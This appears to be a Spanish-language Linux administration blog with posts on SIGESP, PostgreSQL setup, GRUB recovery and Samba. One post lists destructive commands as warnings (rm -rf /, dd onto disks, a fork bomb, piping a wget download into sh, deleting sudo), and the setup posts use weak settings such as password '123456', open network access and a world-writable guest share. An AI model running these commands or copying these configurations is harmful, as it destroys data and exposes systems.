viernes, 30 de octubre de 2020

SIGESP PRIMEROS PASOS

Como Crear una Cuenta de Usuario 

Entrar en el Modulo Herramientas del Sistemas
 --- Seguridad
     --- Definiciones
         --- Usuario 
Es necesario tener
Numero de Cedula 9.xxx.XXX,
Nombres, JAIMITO EL PEPITO
Apellido, PEREGIL
Fecha De Nacimiento, 1990-1-1
Contraseña OJO debe tener una Mayúscula, Minúscula, Numéricos
EJEMPLO Lmmm0000 
Telefono 555 55 55
Correo Peregil@gmail.com
Nota: Ubicación o cargo  eventualmente se coloca en el cuadro de nota y se guarda.
Se Instala Sigesp y Asesoría

Cual Pregunta envié su Correo 


HERRAMIENTAS DEL SISTEMA

MANUALES DE SIGESP Y VIDEO COMENTA QUE DESEAS APRENDER



MANUALES DE SIGESP


    CUENTAS POR PAGAR                  MODULO CONF PRESUPUESTARIO DE GASTO
    MODULO DE COMPRAS                MODULO DE PROVEEDORES Y BENEFICIARIOS
    MODULO DE SEP                           MANUAL_RECURSOS_HUMANOS
    MANUAL NOMINA                          MANUAL_CONTABILIDAD_PRESUPUESTARIA_GASTO






Cualquier apoyo puede comunicarse por esta via, en vie su correo

martes, 27 de octubre de 2020

SIGESP CONFIGURACION POSTGRESQL

Codificación en Postgres 8.4

GENERAMOS LAS LOCALES

dpkg-reconfigure locales

ESCOGEMOS 

es_ES@euro ISO-8859-15

DETENEMOS SERVIDOR DE POSTGRESQL

/etc/init.d/postgresql stop

renombrar o eliminar los directorios originales
rm /var/lib/postgresql/8.4/main/ -r
rm /etc/postgresql/8.4/main/ -r

CREANDO EL CLUSTER CON CODIFICACION 
es_ES@euro

pg_createcluster 8.4 main --locale=es_ES@euro
iniciar el servidor

/etc/init.d/postgresql start

COLOCAMOS CONTRASEÑA POSTGRES

su postgres
psql

ALTER USER postgres WITH PASSWORD '123456';
\q
exit






MODIFICAMOS LOS ARCHIVOS 

etc/postgresql/8.4/main/ pg_hba.conf y postgres.conf

pg_hba.conf

nano /etc/postgresql/8.4/main/pg_hba.conf

Database administrative login by UNIX sockets

local   all         postgres                          md5

# TYPE  DATABASE    USER        CIDR-ADDRESS          METHOD

# "local" is for Unix domain socket connections only
local   all         all                               md5
# IPv4 local connections:
host    all         all         127.0.0.1/32          md5
# IPv6 local connections:
host    all         all         ::1/128               md5
host  all       all           192.999.0.0/0           md5

postgres.conf

nano /etc/postgresql/8.4/main/postgres.conf

listen_addresses = 'localhost' CAMBIO CON listen_addresses = '*'

REINICIAMOS POSTGRES
/etc/init.d/postgresql restart


domingo, 25 de octubre de 2020

UN POCO DE POSTGRESQL

COMANDO SQL BÁSICO


SHOW TABLES  

Este campo es para mostrar todas las tablas en la base de datos MySQL actual. seleccionada 

SHOW COLUMNS     

  Este campo es para mostrar información acerca de las columnas en una tabla.

Valores de cada columna 

Field: Nombre de la columna                     Key: Indica si la columna esta indexada.

Type: Tipo de Datos de la Columna.         Default: Valor por defecto asignado a la columna.     

SQL                             Permite ejecutar múltiples consultas o comandos en la misma linea


BETWEEN                

 Permite verificar si algún valor esta dentro de un rango de valores Ejemplo un rango de fecha determinado  

Fecha BETWEEN '2018-01-01' AND '2018-12-31'


ACTUALIZAR DATOS POSTGRESQL

Declaración UPDATE nos permite alterar los Datos en una tabla

UPDATE table_familia

SET nombre=pepe, apellido=peregil SOY EL MALO

WHERE condition;  SOY BUENO 

Donde el nuevo valor son específicos en una lista separada por comas despues de la palabra clave SET


LOS OPERADORES DE ASIGNACIÓN

Los Operadores de asignación asignan valores a variables de JavaScript. 

Codificación PostgreSQL

update pg_database set encoding=8 where datname=’PRUEBA’;

N° de encoding Name Descripción

0 SQL_ASCII ASCII

1 EUC_JP Japanese EUC

2 EUC_CN Chinese EUC

3 EUC_KR Korean EUC

4 JOHAB Korean EUC (Hangle base)

5 EUC_TW Taiwan EUC

6 UNICODE Unicode (UTF-8)

7 MULE_INTERNAL Mule internal code

8 LATIN1 ISO 8859-1/ECMA 94 (Latin alphabet no.1)

9 LATIN2 ISO 8859-2/ECMA 94 (Latin alphabet no.2)

10 LATIN3 ISO 8859-3/ECMA 94 (Latin alphabet no.3)

11 LATIN4 ISO 8859-4/ECMA 94 (Latin alphabet no.4)

12 LATIN5 ISO 8859-9/ECMA 128 (Latin alphabet no.5)

13 LATIN6 ISO 8859-10/ECMA 144 (Latin alphabet no.6)

14 LATIN7 ISO 8859-13 (Latin alphabet no.7)

15 LATIN8 ISO 8859-14 (Latin alphabet no.8)

16 LATIN9 ISO 8859-15 (Latin alphabet no.9)

17 LATIN10 ISO 8859-16/ASRO SR 14111 (Latin alphabet no.10)

18 ISO_8859_5 ISO 8859-5/ECMA 113 (Latin/Cyrillic)

19 ISO_8859_6 ISO 8859-6/ECMA 114 (Latin/Arabic)

20 ISO_8859_7 ISO 8859-7/ECMA 118 (Latin/Greek)

21 ISO_8859_8 ISO 8859-8/ECMA 121 (Latin/Hebrew)

22 KOI8 KOI8-R(U)

23 ALT Windows CP866

24 WIN874 Windows CP874 (Thai)

25 WIN1250 Windows CP1250

26 WIN Windows CP1251

27 WIN1256 Windows CP1256 (Arabic)

28 TCVN TCVN-5712/Windows CP1258 (Vietnamese)


sábado, 17 de octubre de 2020

INFORMACIÓN DEL SISTEMA EN LINUX


uname -a:     Información sobre el sistema operativo de la maquina.

df -h:             Información sobre todo los dispositivos montados en la maquina.

hostname:     Devuelve el nombre de la maquina.

uptime:         Cantidad de tiempo trascurrido desde la ultima vez que se arranco el sistema,  cantidad de usuarios trabajando en el sistema y carga del sistema).

dmesg|more: Imprime el "ring buffer" del kernel.

free -tm:         Información sobre la cantidad de memoria disponible y usada.


du -bh /|more: Información sobre el espacio ocupado por cada subdirectorio, comenzando en el directorio raiz /.

ps:                    Información sobre los procesos del actual usuario, que se estan ejecutando.

ps axu:             Información sobre todos los procesos que se estan ejecutando en la maquina.

top:                   Informacion sobre el uso de cpu y memoria de los procesos del sistema.

cat /proc/cpuinfo: Información sobre el microprocesador.

cat /proc/interrupts: Información sobre las interrupciones en uso.

cat /proc/dma: Información sobre dma en uso.

cat /proc/filesystems: Información sobre los sistemas de archivos que se pueden utilizar (compilados en el kernel).

/sbin/lsmod:     Información sobre módulos en uso.

finger usuario: Información sobre el usuario usuario.

who:                   Información sobre  usuarios usando el sistema.

id usuario:         UID, GID y GROUPS del usuario usuario

last:                    Informacion  últimos usuarios que han usado el sistema.

set|more:           Sobre el entorno de usuario actual.

ping maquina: Para comprobar si tenemos contacto con la maquina maquina (maquina: nombre o IP)

/sbin/route:         Tabla de enrutamiento de nuestro sistema.

/sbin/ifconfig:     Información sobre los distintos dispositivos de red

netstat:                 Información valiosa sobre la conexión de red (Este comando tiene muchas posibilidades, ejecutar man netstat

HUMANIZAR logs Squid3

Para leer log’s del squid3 usa la instrucción siguiente:
#tailf /var/log/squid3/access.log | perl -pe ‘s/\d+/localtime($&)/e’

Y puedes  filtrar cualquier sitio:
#tailf  /var/log/squid3/access.log | perl -pe ‘s/\d+/localtime($&)/e’| grep facebook.com

…y listo.

ELIMINAR

            Linux para eliminar todo lo que quieras sin preguntar es un regalo del cielo, especialmente después de años de errores de “Este archivo no puede ser eliminado” en Windows. Pero los trolls de Internet se apresurarán a engañarte para que recibas comandos de eliminación extremadamente peligrosos que pueden acabar con todos tus discos duros.

a) rm -rf /

Esta línea ejecuta el comando rm delete con dos modificadores: -r, que provoca un borrado recursivo a través de todos los subdirectorios, y -f, que hace que se borren los archivos de sólo lectura sin confirmación. El comando se ejecuta en el directorio /root, borrando esencialmente todo el sistema.

ü  rm: se utiliza para eliminar archivos.

ü  rm -r: borra la carpeta recursivamente, incluso la carpeta vacía.

ü  rm -f: elimina el ‘Archivo de sólo lectura’ sin preguntar.

ü  rm -rf /: Fuerza la eliminación de todo en el directorio raíz.

ü  rm -rf *: Fuerza la eliminación de todo en el directorio actual/de trabajo.

ü  rm -rf .: Fuerza la eliminación de la carpeta actual y las subcarpetas.

Ten en cuenta que en la mayoría de los sistemas Linux de hoy en día, si intentas esto, recibirás una advertencia. Pero una advertencia no está garantizada, así que no lo hagas.

 

Consejo

 

Para evitar el borrado accidental de archivos mediante el comando ‘rm’, crea un alias del comando ‘rm‘ como ‘rm -i‘ en el archivo “.bashrc“, que te pedirá que confirmes cada borrado.

 

FORMATEAR EL DISCO

El terminal es especialmente complicado para los novatos en Linux porque ofrece varias formas de borrar accidentalmente un disco duro. El borrado otro

mkfs.ext3 /dev/hda

Este comando formatea un disco duro para utilizar el sistema de archivos ext3. Formatear un disco no es intrínsecamente malicioso, pero “reinicia” el disco para que quede “como nuevo”. En otras palabras, un disco duro formateado es como una pizarra en blanco.

El formateo es útil para las particiones de disco y las unidades externas, pero realizarlo en un disco duro entero (por ejemplo, /dev/hda) es peligroso y puede hacer que tu sistema sea irrecuperable.

mkfs.ext4 /dev/sda

3. SOBRESCRIBIR EL DISCO DURO

Como si formatear accidentalmente una unidad no fuera suficientemente malo, es posible sobrescribir el disco duro con datos sin procesar. Al menos formatear un disco es un procedimiento real con uso en el mundo real; en cambio, sobrescribir directamente un disco no es tan bueno.

comando > /dev/hda

En el comando anterior, el comando puede ser reemplazado por cualquier comando Bash. El operador > redirige la salida del comando de la izquierda al archivo de la derecha. En este caso no importa cuál es la salida del comando de la izquierda. Estos datos en bruto se redirigen y se utilizan para sobrescribir el disco duro del sistema.

Como puedes imaginar, esto lo hace inútil.

ü  BORRAR EL DISCO DURO

Esta es otra forma de arruinar tu sistema. Esta vez el comando pondrá a cero completamente tu disco duro. No hay corrupción ni sobreescritura de datos; literalmente llenará tu disco duro de ceros. El disco duro ya no se borra.

 

ü  dd if=/dev/zero of=/dev/hda

El comando dd es una instrucción de bajo nivel que se utiliza principalmente para escribir datos en discos físicos. El parámetro if define la fuente de datos, que en este caso es /dev/zero, un especial de Linux que crea un flujo infinito de ceros. El parámetro of define el destino de estos ceros, que es la unidad /dev/hda.

Sí, hay razones legítimas para poner a cero el disco, pero si no sabes cuáles son esas razones, deberías mantenerte alejado de este comando.

 

ü  HACER ESTALLAR TU DISCO DURO

Si estás cansado de escuchar formas de romper tu disco duro, espera. Aquí hay otro para ti. Linux tiene un archivo especial /dev/null que descarta cualquier dato que se escriba en él. Puedes pensar en él como un agujero negro o un destructor de archivos: todo lo que se le dé como entrada será devorado para siempre.

 

ü  mv / /dev/null

¿Puedes detectar un peligro aquí? El comando mv intenta mover el directorio raíz del sistema / a un agujero negro /dev/null. Este es un comando válido y el resultado es terrible: se come el disco duro y no queda nada.

ü  CAUSAR EL KERNEL PANIC ERROR

Windows tiene su infame pantalla azul de la muerte Y, a pesar de los mitos que circulan, Linux no es un sistema completamente seguro. A veces se produce un error interno que hace imposible la recuperación, por lo que el sistema producirá algo parecido a una “pantalla azul”: kernel panic.

 

dd if=/dev/random of=/dev/port echo 1 > /proc/sys/kernel/panic cat /dev/port cat /dev/zero > /dev/mem

Las complejidades de los comandos anteriores no son importantes aquí. Lo importante es que la ejecución de cualquiera de estas líneas hará que el kernel entre en pánico, obligando a reiniciar el sistema. Es mejor no utilizar estos comandos a menos que estés seguro de que sabes lo que está haciendo.

MovieSquare Cliente Descubrimiento Películas Linux

MOVIESQUARE: CLIENTE DE DESCUBRIMIENTO DE PELÍCULAS PARA ESCRITORIO LINUX

ü  BOMBA FORK

Bash es un lenguaje de terminal y es poderoso. No sólo puede ejecutar comandos, sino que también puede ejecutar funciones, lo que facilita la escritura de scripts que pueden automatizar las tareas del sistema. Por desgracia, las funciones no están exentas de riesgos.

 

 :(){:|:&};:

Para tener una mejor idea de cómo funciona, vamos a convertirlo un poco:

 

fu() {

 fu | fu &

}

fu

Este oscuro comando se llama fork bomb, que es un tipo especial de kernel panic. Define una función llamada : que se llama a sí misma recursivamente dos veces durante la ejecución. Una de las llamadas recursivas se produce en primer plano y la otra en segundo plano.

 

En otras palabras, cada vez que se ejecuta esta función, genera dos procesos hijos. Estos hijos engendran sus propios procesos hijos, y este bucle continúa un bucle sin fin. La única manera de salir de esto es reiniciar el sistema.

 

8. EJECUTAR UN SCRIPT REMOTO

He aquí un comando inocente que puede ser realmente útil en la vida diaria de Linux. wget extrae el contenido de una webURL que puede utilizarse para acceder a sitios web o descargar archivos. Sin embargo, hay un sencillo truco que lo hace peligroso:

wget http://url-no-fiable -O- | sh

La combinación anterior descarga el contenido de la URL dada y lo pasa inmediatamente al comando sh, que ejecuta el contenido descargado en la terminal. Si la URL hubiera apuntado a un script malicioso, habría confundido su destino con este comando.

 

ü  SOBRESCRIBIR ARCHIVO DE CONFIGURACIÓN

Un comando que puede sobrescribir un archivo de configuración importante. En Linux hay dos funciones que confunden en parte > – reemplazar y >> – añadir. Así que si escribes > archivo.conf, puedes simplemente borrar el contenido del archivo.

 

comando > archivo.conf

ü  DESACTIVAR LOS PERMISOS DE ROOT

Este último comando es sencillo. Utiliza el comando rm de uso común para desactivar los dos comandos más importantes de Linux: sudo y su. En resumen, estos dos permiten ejecutar otros comandos con privilegios de root. Sin ellos, la vida en Linux sería miserable.

 

rm -f /usr/bin/sudo;rm -f /bin/su


jueves, 1 de octubre de 2020

GRUB EN DEBIAN Y WINDOWS


Usualmente cuando tengo que reinstalar el Grub (actualmente Grub 2) es porque este ha sido sustituido por el de otra distribución que tengo también en la computadora. Recientemente instalé Windows 7 en otra unidad de disco local -por cierto, toda una odisea no exenta de peligros que ya expondré- y como cabía esperar perdí el menú de Grub; al arrancar la computadora se iniciaba directamente Windows.

Así que me ha parecido oportuno exponer estas dos circunstancias por si a alguien que pase por aquí le es útil. No hay que alarmarse es realmente sencillo; hasta yo soy capaz de hacerlo.

Situaciones distintas

recuperar el Grub (actualmente Grub 2):

Grub ha sido sustituido por el menú de Grub de otra distribución Linux. En realidad el Grub instalado por una distribución ha sido sustituido por la instalación del Grub de otra distribución. Y queremos instalar el Grub inicial con su menú -por las razones que sean-.

El Grub que teníamos se ha sustituido al instalar otra distribución, o durante una actualización de otra distribución que afecta al Grub, este se ha actualizado e se instala su menú sustituyendo al que había (que es el que queremos recuperar).

Hemos perdido completamente el Grub con su menú, al encender la computadora o no pasa nada, o arranca directamente Windows y no podemos entrar a ninguna distribución Linux. Por lo general, esto sucede cuando instalamos Windows, o cuando hemos recuperado su arranque por algún incidente.

También podría ocurrir por otros motivos (al trastear las particiones con Gparted, por ejemplo), y con independencia de que tengamos o no tengamos Windows en la computadora; no es usual pero es posible.

Supuestos para desarrollar el tema con un ejemplo

-En ambos casos la distribución de la que queremos recupera el Grub es Debian, o una distribución derivada; creo que los procedimientos que aquí se muestran son válidos también.

-El Grub lo reinstalamos en el MBR del disco local principal que suele ser sda.

Nota: MBR (Master Boot Record) es el sector de arranque principal, también conocido como registro de arranque maestro, y es el primer sector, sector cero, de un dispositivo de almacenamiento de datos como es un disco duro. Su finalidad puede ser el arranque del sistema operativo (boot), o también contener la tabla de particiones, o sólo, y simplemente, para identificar un dispositivo. En los sistemas Debian por lo general el Grub se instala por defecto en el MBR. Podría instalarse también en una partición boot específica o en la partición /root de Debian.

-El esquema de las particiones del disco local es el que se muestra en la tabla siguiente. La distribución de particiones, obviamente, puede ser cualquier otra, por eso es importante que cada uno identifique el disco de arranque (sda), y la partición donde se encuentra /root de Debian.


sda *
MBR
sda1
Primaria
Windows
sda2
Primaria
Windows
sda3
Primaria
Swap
sda4
Extendida
sda5 *
Lógica
/root
Debian
sda6
Lógica
/home
Debian
sda7
Lógica
/root
Otra distribución Linux
sda8
Lógica
/home
Otra distribución Linux

Grub de Debian ha sido cambiado por el de otra distribución, y queremos reinstalar.

Arrancamos la computadora, a través del menú de Grub (que ahora es el de otra distribución) entramos en Debian, abrimos una terminal y como root (su y contraseña) o como usuario con privilegios de root (sudo), reinstalamos el Grub en el MBR del disco local sda:

# grub-install --recheck /dev/sda
Seguidamente actualizamos la configuración del Grub para que nos detecte todos los SO que tengamos en nuestra computadora, los que están en el disco local sda, pero también en otros si tenemos algún otro. Por ejemplo, yo tengo Windows 7 en sdd2

# update-grub
# grub-install –recheck /dev/sda

 Hemos perdido el menú de Grub y no podemos entrar a ninguna distribución Linux

Puede ser que tengamos Windows y al arrancar la computadoras se inicie directamente este SO. Pero también podría ser que no tengamos Windows, y el procedimiento sería igual.

Encendemos el ordenador con un LiveCD de una distribución que utilice grub-2 y de la misma arquitectura (32 o 64 bits); yo utilicé Kubuntu 14.04 (64 bits).

Una vez se haya cargado el sistema abrimos la terminal y nos identificamos como root. En el caso de que el LiveCD sea de Ubuntu o distribuciones derivadas, ejecutamos el siguiente comando:

# sudo su

Si el LiveCD es de Debian tengo entendido, no lo he utilizado nunca, que se obtienen los privilegios de root mediante:

# user
# contraseña: live

Podemos listar los discos locales y particiones para localizar donde tenemos la partición /root de Debian, pero lo más efectivo es saberlo de antemano.

# fdisk -l

Montamos la partición /root de Debian, que en el presente ejemplo la tenemos en sda5

# mount /dev/sda5 /mnt

Reinstalamos el Grub en el MBR del disco sda

# grub-install --root-directory=/mnt/ /dev/sda
Reiniciamos el equipo, pero sin el LiveCD

Al arrancar la computadora de nuevo ya tendremos el menú de Grub. Entramos en Debian, abrimos la consola y actualizamos Grub para que detecte todo los sistemas operativos (puede que alguno no nos haya aparecido en el menú al arrancar la computadora):
           

# update-grub


viernes, 1 de noviembre de 2019

SAMBA EN DEBIAN GNU

INSTALACIÓN SAMBA 

apt-get install samba

cd etc/samba


Archivo de configuración de samba

etc/samba/smb.conf

solo para copiar y pegar


[global]
workgroup = preprensa
server string = %h server
syslog = 0
log file = /var/log/samba/log.%m
max log size = 1000
os level = 33
dns proxy = No
ldap ssl = no
panic action = /usr/share/samba/panic-action %d
winbind separator = winbind cache time = 300
invalid users = root
locking = No

wins support = no

[homes]

comment = Home Directories
valid users = %S
create mask = 0700
directory mask = 0700
browseable = No



[printers]
comment = All Printers
path = /var/spool/samba
create mask = 0700
printable = Yes
browseable = No

[print$]
comment = Printer Drivers
path = /var/lib/samba/printers


[preprensa]
comment = Directorio de respaldo para unidades Windows
path = /home/administrador/preprensa
read only = No
create mask = 0777
force create mode = 0777
directory mask = 0777
force directory mode = 0777
guest ok = Yes
available = yes
browseable = yes
public = yes

SIGESP PRIMEROS PASOS

Como Crear una Cuenta de Usuario  Entrar en el Modulo Herramientas del Sistemas  --- Seguridad       ---  Definiciones             --- U...